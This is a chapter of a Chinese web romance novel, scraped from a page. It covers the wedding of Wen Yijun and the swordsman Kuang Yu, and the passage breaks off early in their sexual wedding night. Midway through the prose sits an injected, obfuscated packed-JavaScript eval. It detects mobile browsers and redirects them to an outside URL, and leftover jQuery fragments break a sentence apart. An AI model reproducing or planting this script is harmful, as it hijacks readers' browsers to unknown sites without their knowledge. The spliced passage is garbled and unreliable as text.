25. [锁] [此章节已锁]

作品:《救命!小姐和杀手私奔了!

    四月十三,忌动土、安葬,宜祈福,宜嫁娶。


    买来的丫鬟秋彤正在屋中替温仪君梳理头发,长发拢束成同心髻配以金银花叶钗,眉心贴花钿,脸颊画斜红。


    温仪君对镜欣赏了一番妆容,视线突然被桌上的牡丹吸引,前几日还是含苞待放的花芽,今日竟早早地盛开了一朵。


    本想唤邝玉进来瞧瞧,但于理不合,犹豫了下,将牡丹折下来插在了发髻上,也算为今日喜事添彩,花衬人更娇。


    算上今日,这已经是她第三次穿上嫁衣,嫁衣配饰既不是最华贵的,礼乐仪仗也不是最盛大的,与从温家出嫁那日相比,甚至称得上简陋,但她却从未如此在内心充满着期待与喜悦。


    只有在今日,她才真正是一个闺中待嫁,期盼着与心上人结两姓之好的新妇。


    屋外是唢呐吹奏的喜乐,找来帮忙主婚的媒人已经在门口催促,温仪君才举着团扇遮面,在秋彤的搀扶下缓缓开门走出。透过扇面依稀可见得身着绛红色圆领婚袍的邝玉,与她身上的曳地孔雀纹青绿长裙显出几分相得益彰。


    温仪君并不能真的从家里出嫁,邝玉也实非能吟诗作对的雅士,便略过了如轿辇迎亲,催妆却扇此类繁杂的流程,只由邝玉在门前撒了些铜钱以作庆意。


    旁边围了几个左右的近邻,一并起哄着,温仪君来扬州的这些时日与周围的邻居混了几分熟识,大家知这是对即将成亲的年轻爱侣,也积极帮忙出了不少力。


    邝玉从秋彤手中接过温仪君的手,隔着扇面也能感受到团扇背后含情的眉目,邝玉掌心温暖,还有几分过于紧张的汗意,吞了吞唾沫,喉结滚动着欲言又止半晌,温仪君当他要说些什么甜言蜜语的好话,结果还是只听他呆愣楞地说出一句“小心阶梯”。


    一路行至正厅,媒人站至主位,一双新人站定,便听媒人道:“一拜。”


    温仪君同邝玉面向屋外天地,鞠躬礼拜。


    “二拜。”


    又转身面向高堂,邝玉是为孤儿,不知父母是谁,温仪君也与温家断了瓜葛,便高堂之上只放了温仪君母亲留给她的那块玉佩以代先母。二人对着玉佩,再次鞠躬。


    “三拜。”


    二人对向而立,弯腰行礼。


    “起。”


    温仪君团扇下移,露出含笑的眼睛与邝玉对望,或是今日的满身艳红,衬托得他冷淡的五官也带着几分暖意,与初见时手持利剑漠然而视的“梁上君子”判若两人。


    但无论是怎样的他,都是她已经决定要厮守一生的意中人。


    秋彤又端来两瓢盛酒的匏瓜,打断了二人的对视:“请新人饮合卺酒。”


    温仪君伸手接过其一,看着邝玉拿过了另一半,两人相视而笑,一饮而尽。


    “合卺礼成,祝二位新人,从此同甘共苦,永结同心!”


    闻言,温仪君脸上是掩饰不住的笑意,早不管什么笑不露齿的礼仪,随性地露出几颗洁白的牙,眼睛已经弯成了一道月牙,想伸手掏银子打赏,又才想起今时不同往日,却见邝玉已经拿出了钱袋子递到她的手中。


    温仪君笑着接过,将碎银分发出去,“赏!”


    媒人和秋彤接过喜钱,脸上笑容更盛,又说了几句好话,温仪君转头看向身旁的邝玉,只默默看着她,却足够让她感受到满腔的爱意,不禁喃喃念到:“生为同室亲,死为同穴尘。”


    邝玉不会这些文绉绉的东西,却也知晓温仪君的心意,牵住她的手,轻声道:“我们会一辈子在一起,没有什么能将我们分开。”


    一旁的媒人瞧着这对含情两相望的新婚夫妇,不忘为婚礼收尾:“礼成,送入洞房!”


    顿时,四周贺喜声与鼓掌声不绝于耳,邻舍们给足了热情,寥寥十来人显出了几十人的阵仗,满耳尽是“百年好合”、“子孙满堂”的道贺。


    温仪君听这话,脸羞红了一片。


    秋彤扶着温仪君回房,按理当由邝玉在外招呼来客,温仪君待在屋中等待酒席散去,然后新郎回房却扇。但温仪君刚在床榻上坐下,便见邝玉跟着她的步子进了屋来。


    “你怎的回来了?”温仪君持扇遮面,只有带着不解的声音从扇后传了出来。


    “你知道我不善与人打交道的。”邝玉眼睛一眨不眨地盯着温仪君,视线像是要穿透扇面去黏在温仪君身上,“我也不想留你一个人在屋里。”


    “至于他们……”邝玉勉强分了一眼给秋彤,“让秋彤去好了。”


    被点名的秋彤忍不住噗嗤一笑,调侃道:“娘子和郎君感情可真是好呢,一刻都舍不得分开。”


    话语间,邝玉已经走上前来,从温仪君手中接过扇子,见她在红色床纱被褥下衬托得愈发娇艳的脸庞,眼神都显得痴痴的。


    “哪儿有主人家丢下客人自己走了的。”温仪君含娇地一瞪眼。


    邝玉喉结滚动,却见温仪君起了身,似是准备出门去,见他站着不动,又回过头来,牵了他的手,莞尔浅笑:“走吧,一起。”


    *


    街邻散去时,天已经彻底暗了下来,秋彤在主厅和疱屋中收拾着喜宴残局,把春宵的独处时刻留给这二位新人。


    屋内龙凤烛上红焰跳动,暖黄的烛光给房间铺上一层暖昧的氛围,温仪君已经卸去妆容净了面,在妆台前梳理着自己披散的长发,即使是铜镜中映出的模糊人像,也依然看出她神色的羞怯。


    忽地,从身后伸来一双骨节分明的宽大手掌,从她手中接过了木梳,是已经沐浴归来的邝玉。身上的湿气已经被他用内力烘干,只着白色里衣,亦是解了发带,长发柔顺地披在脑后,整个人显出一种驯服的乖巧。


    邝玉站在温仪君身后替她梳理着长发,温仪君想起什么,问道:“你可见今日我发髻上的牡丹了?”


    邝玉手上动作不停,在脑海中回忆着,但思索了半响,也只有温仪君的一眸一笑,旁的衣服妆造如何,却没怎么在意,于是老实地回答:“……并未。都不知它竟开了。”


    温仪君轻哼一声,“簪花给你看,真算是牛嚼牡丹了。”


    邝玉犹豫了一下,忍不住道:“院中无牛,只有你享了这花。”


    “好啊,连你都学会打趣人了!”


    又笑闹了几声,温仪君才抬手指了指桌角,卸去妆发后,折下的牡丹被她插在了矮花瓶中的,瓶中盛了些水,倒也勉强能保持鲜艳。


    邝玉顺着手看了一眼,又无甚兴致地收回目光,继续看向温仪君如绸缎柔顺披散的长发,即使是站在身后见不得面容,也比花更吸引他,“比不得你。”


    去岁在连山衔院中瞧见这花,还有几分惊艳,如今这花儿与温仪君共处一室,纵是千娇百艳,春色也全被身前人吸引走了。


    邝玉难得说些好话,温仪君心中受用,嘴上却不饶人:“尽会些油嘴滑舌的。”


    理顺了发,邝玉放下木梳,温仪君当他是要就寝了,却见他走至外间的置物架侧,温仪君跟过去,才发现上面不知何时挂了两把剑。


    “这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416227|167400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是?”


    邝玉将剑取下来,在山崖时剑被折断,他又重新去寻了两把。将其中一把显得更灵巧的剑递了过来,“这是给你的,便当是,新婚贺礼。”


    温仪君惊讶,她都没准备东西,没想到邝玉竟是比她还有心几分。将剑接过,拔剑而出,锋利的剑刃泛起阵阵寒芒,锐气逼人,即使是温仪君这种对剑不甚了解的,也能瞧出这是把好剑。


    她也如江湖侠客般,有自己的剑了。


    按捺着原地舞剑一试的冲动收剑回鞘,温仪君笑逐颜开,道:“我很喜欢!”


    顿了顿,又有几分困惑:“不过,此前你不是说不建议我佩剑吗?”


    “因为现在的你已经有能力去驾驭你手中的剑了,如此,它便能为你锦上添花。”


    “那我算是出师了?能得到你这样高手的认可,我可要开始得意忘形,不知天高地厚地去到处耀武扬威了!”


    “你尽管去,有我为你收底。”知她是开玩笑,邝玉也眼中含笑,顺着她的话说。但既是玩笑,也是真心,有他护着,必不会让什么将她困住。


    听邝玉这么捧场,温仪君忍不住笑得捧腹,言笑晏晏间,两人距离逐渐拉进,直至身躯相贴,邝玉忍不住一颤,眸色加深,接过她手中的剑,随手放到一旁,趁虚而入地将自己的手递到温仪君手中,小声道:“该歇息了。”


    与邝玉交握的手猛地用力,又赶紧松开,低头应了一句“嗯”。


    两人相牵着步至床前,温仪君还等着邝玉下一步动作,却见他在床边站定不动,按住羞涩看过去,才发现他虽表情不显,脸却已染得绯红,比她还显得手足无措。


    温仪君心中暗笑,道:“宽衣吧。”


    邝玉好似才清醒过来该做什么,颤巍巍的双手先是替温仪君脱下外袍,然后解开嫁衣的束带。红绿的嫁衣从温仪君身上落下,其下的雪白逐渐展露出来,攥着衣服的手不自觉用力,外衣被全部剥离,红色的杜兜衬得肌肤胜雪,刺得人眼眶发红。


    邝玉不自觉向温仪君靠近,靠近,至鼻息交错,却又突然顿住,好像不知下一步该如何进行,温仪君无奈地撇撇嘴,也伸手向邝玉的里衣,其下是男子劲瘦紧实的身躯与线条优美起伏的肌肉,不一会儿,两人的衣物便全被扔到了床榻的一角。


    温仪君面如火烧,轻声呢喃:“还要我教你吗?”邝玉才终于将手放在温仪君赤着的肩上,难为情地挤出一句“那我……冒犯了。”


    这难道是块木头?谁家郎君新婚夜还说什么冒犯了的话!


    温仪君实在忍不住,一下子凑上去,嘴贴上了邝玉的脸颊。


    邝玉的脸是烫的。


    身子也是烫的。


    这一吻就像点燃了木柴的火种,从此一发不可收拾。


    邝玉侧过头,让原本贴在自己面上的唇与自己的相贴,擒住柔软的唇瓣,先是试探着点触,又将之晗住,最后忍不住轻轻撕咬。


    陌生而新奇的触感烧的邝玉的脑子混沌起来,他的手无师自通地在掌下的肌肤上抚过,又摸索道肚兜的绳结处,一拉扯,最后一块布料也离开了自己原本的岗位,将其下的果实毫无保留地奉献给采摘的人。


    邝玉常年练武的手有些旧伤和茧,每到一处地方,便带起一阵站栗,这种感觉很陌生,却并不让她反感,只觉得羞怯,和难以形容的苏麻,她的手也不自觉攀上邝玉,却同时将自己更多地送向对方。


    正从自己口中疯狂汲取的,离开了原本的阵地,一步步下移。